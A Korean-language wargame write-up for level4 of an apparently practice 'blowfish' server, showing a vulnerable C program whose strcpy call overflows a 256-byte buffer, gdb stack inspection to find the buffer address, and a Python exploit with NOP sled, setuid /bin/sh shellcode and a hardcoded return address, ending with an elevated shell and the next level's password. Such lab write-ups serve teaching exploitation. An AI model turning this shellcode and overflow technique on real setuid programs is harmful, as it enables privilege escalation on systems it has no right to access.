Level4 부터는 /levels 폴더 이하에 있는 파일을 이용하여 문제풀이를 한다.
level4.c 파일을 확인해보면 다음과 같다.
#include <stdio.h>
int main(int argc, char * argv[]) {
char buf[256];
if(argc == 1) {
printf(Usage: %s input\n, argv[0]);
exit(0);
}
strcpy(buf,argv[1]);
printf(%s, buf);
}
우리는 strcpy 함수부분에서 BOF(Buffer OverFlow)가 발생함을 알 수 있다.
Buffer 공간이 충분하므로 여기에 쉘코드를 넣어서 공격을 시도하여 보자.
그전에 buffer의 주소를 확인하여 보자.
level4@blowfish:/levels$ gdb -q level4
Using host libthread_db library /lib/tls/libthread_db.so.1.
(gdb) b main
Breakpoint 1 at 0x80483fd
(gdb) r `python -c print 'A'*300`
Starting program: /levels/level4 `python -c print 'A'*300`
Breakpoint 1, 0x080483fd in main ()
(gdb) x/32wx $esp
0xbfffd810: 0x00274945 0x00122aab 0x0804825e 0x74733832
0xbfffd820: 0x35306261 0x0804818c 0x0177ff8e 0x0804824c
0xbfffd830: 0x0d696910 0x00000005 0x009cead0 0x0011534c
0xbfffd840: 0x0011da1c 0x00122b6e 0x00000000 0x00000000
0xbfffd850: 0x00697246 0x005bf078 0x00000002 0x00282ff4
0xbfffd860: 0x002836a4 0xbfffd910 0xbfffd924 0x00274b07
0xbfffd870: 0xbfffd910 0x00283650 0x00000002 0x005bf0a8
0xbfffd880: 0x00000001 0x00000000 0x00000001 0x00003638
(gdb)
.
.
.
(gdb)
0xbfffda90: 0x00000000 0x00000000 0x00000000 0x2f000000
0xbfffdaa0: 0x6576656c 0x6c2f736c 0x6c657665 0x41410034
0xbfffdab0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffdac0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffdad0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffdae0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffdaf0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffdb00: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) ```
문자 'A' (41)의 위치를 확인하였으니 해당 위치로 RET를 지정해주고 공격을 해보자!
```python
#!/usr/bin/python
import os
shellcode = '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80' # len = 30
nop = '\x90'
ret = '\xc0\xda\xff\xbf'
payload = nop*238 + shellcode + ret
os.execl('/levels/level4', 'level4', payload)
level4@blowfish:/levels/tmp/byjjoon$ ./level4.py
sh-3.1$ id
uid=1006(level4) gid=1006(level4) euid=1007(level5) groups=1006(level4)
sh-3.1$ cat /pass/level5
yummy_bluntz